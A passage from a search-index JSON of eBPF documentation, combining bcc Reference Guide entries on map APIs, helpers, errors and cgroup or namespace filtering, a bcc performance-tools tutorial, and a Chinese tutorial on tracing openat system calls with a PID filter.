ringbuf ring buffers, calling the callback function that was provided when calling open_ring_buffer for each entry. The timeout parameter is optional and measured in milliseconds. In its absence, polling continues until there is no more data or the callback returns a negative value. Example: # loop with callback to print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_poll(30) except KeyboardInterrupt: exit(); Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 2. ring_buffer_poll()","id":"283","title":"2. ring_buffer_poll()"},"284":{"body":"Syntax: BPF.ring_buffer_consume() This consumes from all open ringbuf ring buffers, calling the callback function that was provided when calling open_ring_buffer for each entry. Unlike ring_buffer_poll, this method does not poll for data before attempting to consume. This reduces latency at the expense of higher CPU consumption. If you are unsure which to use, use ring_buffer_poll. Example: # loop with callback to print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_consume() except KeyboardInterrupt: exit(); Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 3. ring_buffer_consume()","id":"284","title":"3. ring_buffer_consume()"},"285":{"body":"Maps are BPF data stores, and are used in bcc to implement a table, and then higher level objects on top of tables, including hashes and histograms.","breadcrumbs":"bcc Reference Guide » Map APIs","id":"285","title":"Map APIs"},"286":{"body":"Syntax: BPF.get_table(name) Returns a table object. This is no longer used, as tables can now be read as items from BPF. Eg: BPF[name]. Examples: counts = b.get_table(\"counts\") counts = b[\"counts\"] These are equivalent.","breadcrumbs":"bcc Reference Guide » 1. get_table()","id":"286","title":"1. get_table()"},"287":{"body":"Syntax: table.open_perf_buffers(callback, page_cnt=N, lost_cb=None) This operates on a table as defined in BPF as BPF_PERF_OUTPUT(), and associates the callback Python function callback to be called when data is available in the perf ring buffer. This is part of the recommended mechanism for transferring per-event data from kernel to user space. The size of the perf ring buffer can be specified via the page_cnt parameter, which must be a power of two number of pages and defaults to 8. If the callback is not processing data fast enough, some submitted data may be lost. lost_cb will be called to log / monitor the lost count. If lost_cb is the default None value, it will just print a line of message to stderr. Example: # process event\ndef print_event(cpu, data, size): event = ct.cast(data, ct.POINTER(Data)).contents [...] # loop with callback to print_event\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: try: b.perf_buffer_poll() except KeyboardInterrupt: exit() Note that the data structure transferred will need to be declared in C in the BPF program. For example: // define output data structure in C\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events);\n[...] In Python, you can either let bcc generate the data structure from C declaration automatically (recommended): def print_event(cpu, data, size): event = b[\"events\"].event(data)\n[...] or define it manually: # define output data structure in Python\nTASK_COMM_LEN = 16 # linux/sched.h\nclass Data(ct.Structure): _fields_ = [(\"pid\", ct.c_ulonglong), (\"ts\", ct.c_ulonglong), (\"comm\", ct.c_char * TASK_COMM_LEN)] def print_event(cpu, data, size): event = ct.cast(data, ct.POINTER(Data)).contents\n[...] Examples in situ: code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. open_perf_buffer()","id":"287","title":"2. open_perf_buffer()"},"288":{"body":"Syntax: table.items() Returns an array of the keys in a table. This can be used with BPF_HASH maps to fetch, and iterate, over the keys. Example: # print output\nprint(\"%10s %s\" % (\"COUNT\", \"STRING\"))\ncounts = b.get_table(\"counts\")\nfor k, v in sorted(counts.items(), key=lambda counts: counts[1].value): print(\"%10d \\\"%s\\\"\" % (v.value, k.c.encode('string-escape'))) This example also uses the sorted() method to sort by value. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. items()","id":"288","title":"3. items()"},"289":{"body":"Syntax: table.values() Returns an array of the values in a table.","breadcrumbs":"bcc Reference Guide » 4. values()","id":"289","title":"4. values()"},"29":{"body":"eBPF（Extended Berkeley Packet Filter）是一种内核执行环境，它可以让用户在内核中运行一些安全的、高效的程序。它通常用于网络过滤、性能分析、安全监控等场景。eBPF 之所以强大，是因为它能够在内核运行时捕获和修改数据包或者系统调用，从而实现对操作系统行为的监控和调整。 本文是 eBPF 入门开发实践教程的第四篇，主要介绍如何捕获进程打开文件的系统调用集合，并使用全局变量在 eBPF 中过滤进程 pid。 在 Linux 系统中，进程与文件之间的交互是通过系统调用来实现的。系统调用是用户态程序与内核态程序之间的接口，它们允许用户态程序请求内核执行特定操作。在本教程中，我们关注的是 sys_openat 系统调用，它是用于打开文件的。 当进程打开一个文件时，它会向内核发出 sys_openat 系统调用，并传递相关参数（例如文件路径、打开模式等）。内核会处理这个请求，并返回一个文件描述符（file descriptor），这个描述符将在后续的文件操作中用作引用。通过捕获 sys_openat 系统调用，我们可以了解进程在什么时候以及如何打开文件。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » eBPF 入门开发实践教程四：在 eBPF 中捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid","id":"29","title":"eBPF 入门开发实践教程四：在 eBPF 中捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid"},"290":{"body":"Syntax: table.clear() Clears the table: deletes all entries. Example: # print map summary every second:\nwhile True: time.sleep(1) print(\"%-8s\\n\" % time.strftime(\"%H:%M:%S\"), end=\"\") dist.print_log2_hist(sym + \" return:\") dist.clear() Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. clear()","id":"290","title":"5. clear()"},"291":{"body":"Syntax: table.items_lookup_and_delete_batch() Returns an array of the keys in a table with a single call to BPF syscall. This can be used with BPF_HASH maps to fetch, and iterate, over the keys. It also clears the table: deletes all entries. You should rather use table.items_lookup_and_delete_batch() than table.items() followed by table.clear(). It requires kernel v5.6. Example: # print call rate per second:\nprint(\"%9s-%9s-%8s-%9s\" % (\"PID\", \"COMM\", \"fname\", \"counter\"))\nwhile True: for k, v in sorted(b['map'].items_lookup_and_delete_batch(), key=lambda kv: (kv[0]).pid): print(\"%9s-%9s-%8s-%9d\" % (k.pid, k.comm, k.fname, v.counter)) sleep(1)","breadcrumbs":"bcc Reference Guide » 6. items_lookup_and_delete_batch()","id":"291","title":"6. items_lookup_and_delete_batch()"},"292":{"body":"Syntax: table.items_lookup_batch() Returns an array of the keys in a table with a single call to BPF syscall. This can be used with BPF_HASH maps to fetch, and iterate, over the keys. You should rather use table.items_lookup_batch() than table.items(). It requires kernel v5.6. Example: # print current value of map:\nprint(\"%9s-%9s-%8s-%9s\" % (\"PID\", \"COMM\", \"fname\", \"counter\"))\nwhile True: for k, v in sorted(b['map'].items_lookup_batch(), key=lambda kv: (kv[0]).pid): print(\"%9s-%9s-%8s-%9d\" % (k.pid, k.comm, k.fname, v.counter))","breadcrumbs":"bcc Reference Guide » 7. items_lookup_batch()","id":"292","title":"7. items_lookup_batch()"},"293":{"body":"Syntax: table.items_delete_batch(keys) It clears all entries of a BPF_HASH map when keys is None. It is more efficient than table.clear() since it generates only one system call. You can delete a subset of a map by giving an array of keys as parameter. Those keys and their associated values will be deleted. It requires kernel v5.6. Arguments: keys is optional and by default is None.","breadcrumbs":"bcc Reference Guide » 8. items_delete_batch()","id":"293","title":"8. items_delete_batch()"},"294":{"body":"Syntax: table.items_update_batch(keys, values) Update all the provided keys with new values. The two arguments must be the same length and within the map limits (between 1 and the maximum entries). It requires kernel v5.6. Arguments: keys is the list of keys to be updated values is the list containing the new values.","breadcrumbs":"bcc Reference Guide » 9. items_update_batch()","id":"294","title":"9. items_update_batch()"},"295":{"body":"Syntax: table.print_log2_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None) Prints a table as a log2 histogram in ASCII. The table must be stored as log2, which can be done using the BPF function bpf_log2l(). Arguments: val_type: optional, column header. section_header: if the histogram has a secondary key, multiple tables will print and section_header can be used as a header description for each. section_print_fn: if section_print_fn is not None, it will be passed the bucket value. Example: b = BPF(text=\"\"\"\nBPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(bpf_log2l(req->__data_len / 1024)); return 0;\n}\n\"\"\")\n[...] b[\"dist\"].print_log2_hist(\"kbytes\") Output: kbytes : count distribution 0 -> 1 : 3 | | 2 -> 3 : 0 | | 4 -> 7 : 211 |********** | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 800 |**************************************| This output shows a multi-modal distribution, with the largest mode of 128->255 kbytes and a count of 800. This is an efficient way to summarize data, as the summarization is performed in-kernel, and only the count column is passed to user space. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 10. print_log2_hist()","id":"295","title":"10. print_log2_hist()"},"296":{"body":"Syntax: table.print_linear_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None) Prints a table as a linear histogram in ASCII. This is intended to visualize small integer ranges, eg, 0 to 100. Arguments: val_type: optional, column header. section_header: if the histogram has a secondary key, multiple tables will print and section_header can be used as a header description for each. section_print_fn: if section_print_fn is not None, it will be passed the bucket value. Example: b = BPF(text=\"\"\"\nBPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(req->__data_len / 1024); return 0;\n}\n\"\"\")\n[...] b[\"dist\"].print_linear_hist(\"kbytes\") Output: kbytes : count distribution 0 : 3 |****** | 1 : 0 | | 2 : 0 | | 3 : 0 | | 4 : 19 |****************************************| 5 : 0 | | 6 : 0 | | 7 : 0 | | 8 : 4 |******** | 9 : 0 | | 10 : 0 | | 11 : 0 | | 12 : 0 | | 13 : 0 | | 14 : 0 | | 15 : 0 | | 16 : 2 |**** |\n[...] This is an efficient way to summarize data, as the summarization is performed in-kernel, and only the values in the count column are passed to user space. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 11. print_linear_hist()","id":"296","title":"11. print_linear_hist()"},"297":{"body":"Syntax: table.open_ring_buffer(callback, ctx=None) This operates on a table as defined in BPF as BPF_RINGBUF_OUTPUT(), and associates the callback Python function callback to be called when data is available in the ringbuf ring buffer. This is part of the new (Linux 5.8+) recommended mechanism for transferring per-event data from kernel to user space. Unlike perf buffers, ringbuf sizes are specified within the BPF program, as part of the BPF_RINGBUF_OUTPUT macro. If the callback is not processing data fast enough, some submitted data may be lost. In this case, the events should be polled more frequently and/or the size of the ring buffer should be increased. Example: # process event\ndef print_event(ctx, data, size): event = ct.cast(data, ct.POINTER(Data)).contents [...] # loop with callback to print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_poll() except KeyboardInterrupt: exit() Note that the data structure transferred will need to be declared in C in the BPF program. For example: // define output data structure in C\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_RINGBUF_OUTPUT(events, 8);\n[...] In Python, you can either let bcc generate the data structure from C declaration automatically (recommended): def print_event(ctx, data, size): event = b[\"events\"].event(data)\n[...] or define it manually: # define output data structure in Python\nTASK_COMM_LEN = 16 # linux/sched.h\nclass Data(ct.Structure): _fields_ = [(\"pid\", ct.c_ulonglong), (\"ts\", ct.c_ulonglong), (\"comm\", ct.c_char * TASK_COMM_LEN)] def print_event(ctx, data, size): event = ct.cast(data, ct.POINTER(Data)).contents\n[...] Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 12. open_ring_buffer()","id":"297","title":"12. open_ring_buffer()"},"298":{"body":"Syntax: table.push(leaf, flags=0) Push an element onto a Stack or Queue table. Raises an exception if the operation does not succeed. Passing QueueStack.BPF_EXIST as a flag causes the Queue or Stack to discard the oldest element if it is full. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 13. push()","id":"298","title":"13. push()"},"299":{"body":"Syntax: leaf = table.pop() Pop an element from a Stack or Queue table. Unlike peek(), pop() removes the element from the table before returning it. Raises a KeyError exception if the operation does not succeed. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 14. pop()","id":"299","title":"14. pop()"},"3":{"body":"本文不会对 eBPF 的原理做更详细的介绍，不过这里有一个学习规划和参考资料，也许会有一些价值：","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 2. 关于如何学习 eBPF 相关的开发的一些建议","id":"3","title":"2. 关于如何学习 eBPF 相关的开发的一些建议"},"30":{"body":"首先，我们需要编写一段 eBPF 程序来捕获进程打开文件的系统调用，具体实现如下： #include <vmlinux.h>\n#include <bpf/bpf_helpers.h> /// @description \"Process ID to trace\"\nconst volatile int pid_target = 0; SEC(\"tracepoint/syscalls/sys_enter_openat\")\nint tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter* ctx)\n{ u64 id = bpf_get_current_pid_tgid(); u32 pid = id; if (pid_target && pid_target != pid) return false; // Use bpf_printk to print the process information bpf_printk(\"Process ID: %d enter sys openat\\n\", pid); return 0;\n} /// \"Trace open family syscalls.\"\nchar LICENSE[] SEC(\"license\") = \"GPL\"; 这段 eBPF 程序实现了： 引入头文件：<vmlinux.h> 包含了内核数据结构的定义，<bpf/bpf_helpers.h> 包含了 eBPF 程序所需的辅助函数。 定义全局变量 pid_target，用于过滤指定进程 ID。这里设为 0 表示捕获所有进程的 sys_openat 调用。 使用 SEC 宏定义一个 eBPF 程序，关联到 tracepoint \"tracepoint/syscalls/sys_enter_openat\"。这个 tracepoint 会在进程发起 sys_openat 系统调用时触发。 实现 eBPF 程序 tracepoint__syscalls__sys_enter_openat，它接收一个类型为 struct trace_event_raw_sys_enter 的参数 ctx。这个结构体包含了关于系统调用的信息。 使用 bpf_get_current_pid_tgid() 函数获取当前进程的 PID 和 TGID（线程组 ID）。由于我们只关心 PID，所以将其赋值给 u32 类型的变量 pid。 检查 pid_target 变量是否与当前进程的 pid 相等。如果 pid_target 不为 0 且与当前进程的 pid 不相等，则返回 false，不对该进程的 sys_openat 调用进行捕获。 使用 bpf_printk() 函数打印捕获到的进程 ID 和 sys_openat 调用的相关信息。这些信息将在用户空间通过 BPF 工具查看。 将程序许可证设置为 \"GPL\"，这是运行 eBPF 程序的必要条件。 这个 eBPF 程序可以通过 libbpf 或 eunomia-bpf 等工具加载到内核并执行。它将捕获指定进程（或所有进程）的 sys_openat 系统调用，并在用户空间输出相关信息。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc opensnoop.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 3840345 enter sys openat <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 3840345 enter sys openat 此时，我们已经能够捕获进程打开文件的系统调用了。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 在 eBPF 中捕获进程打开文件的系统调用集合","id":"30","title":"在 eBPF 中捕获进程打开文件的系统调用集合"},"300":{"body":"Syntax: leaf = table.peek() Peek the element at the head of a Stack or Queue table. Unlike pop(), peek() does not remove the element from the table. Raises an exception if the operation does not succeed. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 15. peek()","id":"300","title":"15. peek()"},"301":{"body":"Some helper methods provided by bcc. Note that since we're in Python, we can import any Python library and their methods, including, for example, the libraries: argparse, collections, ctypes, datetime, re, socket, struct, subprocess, sys, and time.","breadcrumbs":"bcc Reference Guide » Helpers","id":"301","title":"Helpers"},"302":{"body":"Syntax: BPF.ksym(addr) Translate a kernel memory address into a kernel function name, which is returned. Example: print(\"kernel function: \" + b.ksym(addr)) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. ksym()","id":"302","title":"1. ksym()"},"303":{"body":"Syntax: BPF.ksymname(name) Translate a kernel name into an address. This is the reverse of ksym. Returns -1 when the function name is unknown. Example: print(\"kernel address: %x\" % b.ksymname(\"vfs_read\")) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. ksymname()","id":"303","title":"2. ksymname()"},"304":{"body":"Syntax: BPF.sym(addr, pid, show_module=False, show_offset=False) Translate a memory address into a function name for a pid, which is returned. A pid of less than zero will access the kernel symbol cache. The show_module and show_offset parameters control whether the module in which the symbol lies should be displayed, and whether the instruction offset from the beginning of the symbol should be displayed. These extra parameters default to False. Example: print(\"function: \" + b.sym(addr, pid)) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. sym()","id":"304","title":"3. sym()"},"305":{"body":"Syntax: BPF.num_open_kprobes() Returns the number of open k[ret]probes. Can be useful for scenarios where event_re is used while attaching and detaching probes. Excludes perf_events readers. Example: b.attach_kprobe(event_re=pattern, fn_name=\"trace_count\")\nmatched = b.num_open_kprobes()\nif matched == 0: print(\"0 functions matched by \\\"%s\\\". Exiting.\" % args.pattern) exit() Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. num_open_kprobes()","id":"305","title":"4. num_open_kprobes()"},"306":{"body":"Syntax: BPF.get_syscall_fnname(name : str) Return the corresponding kernel function name of the syscall. This helper function will try different prefixes and use the right one to concatenate with the syscall name. Note that the return value may vary in different versions of linux kernel and sometimes it will causing trouble. (see #2590 ) Example: print(\"The function name of %s in kernel is %s\" % (\"clone\", b.get_syscall_fnname(\"clone\")))\n# sys_clone or __x64_sys_clone or ... Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. get_syscall_fnname()","id":"306","title":"5. get_syscall_fnname()"},"307":{"body":"See the \"Understanding eBPF verifier messages\" section in the kernel source under Documentation/networking/filter.txt.","breadcrumbs":"bcc Reference Guide » BPF Errors","id":"307","title":"BPF Errors"},"308":{"body":"This can be due to trying to read memory directly, instead of operating on memory on the BPF stack. All kernel memory reads must be passed via bpf_probe_read_kernel() to copy kernel memory into the BPF stack, which can be automatic by the bcc rewriter in some cases of simple dereferencing. bpf_probe_read_kernel() does all the required checks. Example: bpf: Permission denied\n0: (bf) r6 = r1\n1: (79) r7 = *(u64 *)(r6 +80)\n2: (85) call 14\n3: (bf) r8 = r0\n[...]\n23: (69) r1 = *(u16 *)(r7 +16)\nR7 invalid mem access 'inv' Traceback (most recent call last): File \"./tcpaccept\", line 179, in <module> b = BPF(text=bpf_text) File \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\", line 172, in __init__ self._trace_autoload() File \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\", line 612, in _trace_autoload fn = self.load_func(func_name, BPF.KPROBE) File \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\", line 212, in load_func raise Exception(\"Failed to load BPF program %s\" % func_name)\nException: Failed to load BPF program kretprobe__inet_csk_accept","breadcrumbs":"bcc Reference Guide » 1. Invalid mem access","id":"308","title":"1. Invalid mem access"},"309":{"body":"This error happens when a GPL-only helper is called from a non-GPL BPF program. To fix this error, do not use GPL-only helpers from a proprietary BPF program, or relicense the BPF program under a GPL-compatible license. Check which BPF helpers are GPL-only, and what licenses are considered GPL-compatible. Example calling bpf_get_stackid(), a GPL-only BPF helper, from a proprietary program (#define BPF_LICENSE Proprietary): bpf: Failed to load program: Invalid argument\n[...]\n8: (85) call bpf_get_stackid#27\ncannot call GPL only function from proprietary program","breadcrumbs":"bcc Reference Guide » 2. Cannot call GPL only function from proprietary program","id":"309","title":"2. Cannot call GPL only function from proprietary program"},"31":{"body":"全局变量在 eBPF 程序中充当一种数据共享机制，它们允许用户态程序与 eBPF 程序之间进行数据交互。这在过滤特定条件或修改 eBPF 程序行为时非常有用。这种设计使得用户态程序能够在运行时动态地控制 eBPF 程序的行为。 在我们的例子中，全局变量 pid_target 用于过滤进程 PID。用户态程序可以设置此变量的值，以便在 eBPF 程序中只捕获与指定 PID 相关的 sys_openat 系统调用。 使用全局变量的原理是，全局变量在 eBPF 程序的数据段（data section）中定义并存储。当 eBPF 程序加载到内核并执行时，这些全局变量会保持在内核中，可以通过 BPF 系统调用进行访问。用户态程序可以使用 BPF 系统调用中的某些特性，如 bpf_obj_get_info_by_fd 和 bpf_obj_get_info，获取 eBPF 对象的信息，包括全局变量的位置和值。 可以通过执行 ecli -h 命令来查看 opensnoop 的帮助信息： $ ecli package.json -h\nUsage: opensnoop_bpf [--help] [--version] [--verbose] [--pid_target VAR] Trace open family syscalls. Optional arguments: -h, --help shows help message and exits -v, --version prints version information and exits --verbose prints libbpf debug information --pid_target Process ID to trace Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. 可以通过 --pid_target 参数来指定要捕获的进程的 pid，例如： $ sudo ./ecli run package.json --pid_target 618\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 618 enter sys openat <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 618 enter sys openat","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 使用全局变量在 eBPF 中过滤进程 pid","id":"31","title":"使用全局变量在 eBPF 中过滤进程 pid"},"310":{"body":"","breadcrumbs":"bcc Reference Guide » Environment Variables","id":"310","title":"Environment Variables"},"311":{"body":"eBPF program compilation needs kernel sources or kernel headers with headers compiled. In case your kernel sources are at a non-standard location where BCC cannot find then, its possible to provide BCC the absolute path of the location by setting BCC_KERNEL_SOURCE to it.","breadcrumbs":"bcc Reference Guide » 1. Kernel source directory","id":"311","title":"1. Kernel source directory"},"312":{"body":"By default, BCC stores the LINUX_VERSION_CODE in the generated eBPF object which is then passed along to the kernel when the eBPF program is loaded. Sometimes this is quite inconvenient especially when the kernel is slightly updated such as an LTS kernel release. Its extremely unlikely the slight mismatch would cause any issues with the loaded eBPF program. By setting BCC_LINUX_VERSION_CODE to the version of the kernel that's running, the check for verifying the kernel version can be bypassed. This is needed for programs that use kprobes. This needs to be encoded in the format: (VERSION * 65536) + (PATCHLEVEL * 256) + SUBLEVEL. For example, if the running kernel is 4.9.10, then can set export BCC_LINUX_VERSION_CODE=264458 to override the kernel version check successfully.","breadcrumbs":"bcc Reference Guide » 2. Kernel version overriding","id":"312","title":"2. Kernel version overriding"},"313":{"body":"Some tools have special filtering capabitilies, the main use case is to trace processes running in containers, but those mechanisms are generic and could be used in other cases as well.","breadcrumbs":"Special Filtering » Special Filtering","id":"313","title":"Special Filtering"},"314":{"body":"Some tools have an option to filter by cgroup by referencing a pinned BPF hash map managed externally. Examples of commands: # ./opensnoop --cgroupmap /sys/fs/bpf/test01\n# ./execsnoop --cgroupmap /sys/fs/bpf/test01\n# ./tcpconnect --cgroupmap /sys/fs/bpf/test01\n# ./tcpaccept --cgroupmap /sys/fs/bpf/test01\n# ./tcptracer --cgroupmap /sys/fs/bpf/test01 The commands above will only display results from processes that belong to one of the cgroups whose id, returned by bpf_get_current_cgroup_id(), is in the pinned BPF hash map. The BPF hash map can be created by: # bpftool map create /sys/fs/bpf/test01 type hash key 8 value 8 entries 128 \\ name cgroupset flags 0 To get a shell in a new cgroup, you can use: # systemd-run --pty --unit test bash The shell will be running in the cgroup /sys/fs/cgroup/unified/system.slice/test.service. The cgroup id can be discovered using the name_to_handle_at() system call. In the examples/cgroupid, you will find an example of program to get the cgroup id. # cd examples/cgroupid\n# make\n# ./cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service or, using Docker: # cd examples/cgroupid\n# docker build -t cgroupid .\n# docker run --rm --privileged -v /sys/fs/cgroup:/sys/fs/cgroup \\ cgroupid cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service This prints the cgroup id as a hexadecimal string in the host endianness such as 77 16 00 00 01 00 00 00. # FILE=/sys/fs/bpf/test01\n# CGROUPID_HEX=\"77 16 00 00 01 00 00 00\"\n# bpftool map update pinned $FILE key hex $CGROUPID_HEX value hex 00 00 00 00 00 00 00 00 any Now that the shell started by systemd-run has its cgroup id in the BPF hash map, bcc tools will display results from this shell. Cgroups can be added and removed from the BPF hash map without restarting the bcc tool. This feature is useful for integrating bcc tools in external projects.","breadcrumbs":"Special Filtering » Filtering by cgroups","id":"314","title":"Filtering by cgroups"},"315":{"body":"The BPF hash map can be created by: # bpftool map create /sys/fs/bpf/mnt_ns_set type hash key 8 value 4 entries 128 \\ name mnt_ns_set flags 0 Execute the execsnoop tool filtering only the mount namespaces in /sys/fs/bpf/mnt_ns_set: # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set Start a terminal in a new mount namespace: # unshare -m bash Update the hash map with the mount namespace ID of the terminal above: FILE=/sys/fs/bpf/mnt_ns_set\nif [ $(printf '\\1' | od -dAn) -eq 1 ]; then HOST_ENDIAN_CMD=tac\nelse HOST_ENDIAN_CMD=cat\nfi NS_ID_HEX=\"$(printf '%016x' $(stat -Lc '%i' /proc/self/ns/mnt) | sed 's/.\\{2\\}/&\\n/g' | $HOST_ENDIAN_CMD)\"\nbpftool map update pinned $FILE key hex $NS_ID_HEX value hex 00 00 00 00 any Execute a command in this terminal: # ping kinvolk.io You'll see how on the execsnoop terminal you started above the call is logged: # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set\n[sudo] password for mvb:\nPCOMM PID PPID RET ARGS\nping 8096 7970 0 /bin/ping kinvolk.io","breadcrumbs":"Special Filtering » Filtering by mount by namespace","id":"315","title":"Filtering by mount by namespace"},"316":{"body":"This tutorial covers how to use bcc tools to quickly solve performance, troubleshooting, and networking issues. If you want to develop new bcc tools, see tutorial_bcc_python_developer.md for that tutorial. It is assumed for this tutorial that bcc is already installed, and you can run tools like execsnoop successfully. See INSTALL.md . This uses enhancements added to the Linux 4.x series.","breadcrumbs":"bcc Tutorial » bcc Tutorial","id":"316","title":"bcc Tutorial"},"317":{"body":"Some quick wins.","breadcrumbs":"bcc Tutorial » Observability","id":"317","title":"Observability"},"318":{"body":"Before using bcc, you should start with the Linux basics. One reference is the Linux Performance Analysis in 60,000 Milliseconds post, which covers these commands: uptime dmesg | tail vmstat 1 mpstat -P ALL 1 pidstat 1 iostat -xz 1 free -m sar -n DEV 1 sar -n TCP,ETCP 1 top","breadcrumbs":"bcc Tutorial » 0. Before bcc","id":"318","title":"0. Before bcc"},"319":{"body":"Here is a generic checklist for performance investigations with bcc, first as a list, then in detail: execsnoop opensnoop ext4slower (or btrfs*, xfs*, zfs*) biolatency biosnoop cachestat tcpconnect tcpaccept tcpretrans runqlat profile These tools may be installed on your system under /usr/share/bcc/tools, or you can run them from the bcc github repo under /tools where they have a .py extension. Browse the 50+ tools available for more analysis options. 1.1 execsnoop # ./execsnoop\nPCOMM PID RET ARGS\nsupervise 9660 0 ./run\nsupervise 9661 0 ./run\nmkdir 9662 0 /bin/mkdir -p ./main\nrun 9663 0 ./run\n[...] execsnoop prints one line of output for each new process. Check for short-lived processes. These can consume CPU resources, but not show up in most monitoring tools that periodically take snapshots of which processes are running. It works by tracing exec(), not the fork(), so it will catch many types of new processes but not all (eg, it won't see an application launching working processes, that doesn't exec() anything else). More examples . 1.2. opensnoop # ./opensnoop\nPID COMM FD ERR PATH\n1565 redis-server 5 0 /proc/1565/stat\n1565 redis-server 5 0 /proc/1565/stat\n1565 redis-server 5 0 /proc/1565/stat\n1603 snmpd 9 0 /proc/net/dev\n1603 snmpd 11 0 /proc/net/if_inet6\n1603 snmpd -1 2 /sys/class/net/eth0/device/vendor\n1603 snmpd 11 0 /proc/sys/net/ipv4/neigh/eth0/retrans_time_ms\n1603 snmpd 11 0 /proc/sys/net/ipv6/neigh/eth0/retrans_time_ms\n1603 snmpd 11 0 /proc/sys/net/ipv6/conf/eth0/forwarding\n[...] opensnoop prints one line of output for each open() syscall, including details. Files that are opened can tell you a lot about how applications work: identifying their data files, config files, and log files. Sometimes applications can misbehave, and perform poorly, when they are constantly attempting to read files that do not exist. opensnoop gives you a quick look. More examples . 1.3. ext4slower (or btrfs*, xfs*, zfs*) # ./ext4slower\nTracing ext4 operations slower than 10 ms\nTIME COMM PID T BYTES OFF_KB LAT(ms) FILENAME\n06:35:01 cron 16464 R 1249 0 16.05 common-auth\n06:35:01 cron 16463 R 1249 0 16.04 common-auth\n06:35:01 cron 16465 R 1249 0 16.03 common-auth\n06:35:01 cron 16465 R 4096 0 10.62 login.defs\n06:35:01 cron 16464 R 4096 0 10.61 login.defs ext4slower traces the ext4 file system and times common operations, and then only prints those that exceed a threshold. This is great for identifying or exonerating one type of performance issue: show individually slow disk i/O via the file system. Disks process I/O asynchronously, and it can be difficult to associate latency at that layer with the latency applications experience. Tracing higher up in the kernel stack, at the VFS -> file system interface, will more closely match what an application suffers. Use this tool to identify if file system latency exceeds a given threshold. Similar tools exist in bcc for other file systems: btrfsslower, xfsslower, and zfsslower. There is also fileslower, which works at the VFS layer and traces everything (although at some higher overhead). More examples . 1.4. biolatency # ./biolatency\nTracing block device I/O... Hit Ctrl-C to end.\n^C usecs : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 12 |******** | 256 -> 511 : 15 |********** | 512 -> 1023 : 43 |******************************* | 1024 -> 2047 : 52 |**************************************| 2048 -> 4095 : 47 |********************************** | 4096 -> 8191 : 52 |**************************************| 8192 -> 16383 : 36 |************************** | 16384 -> 32767 : 15 |********** | 32768 -> 65535 : 2 |* | 65536 -> 131071 : 2 |* | biolatency traces disk I/O latency (time from device issue to completion), and when the tool ends (Ctrl-C, or a given interval), it prints a histogram summary of the 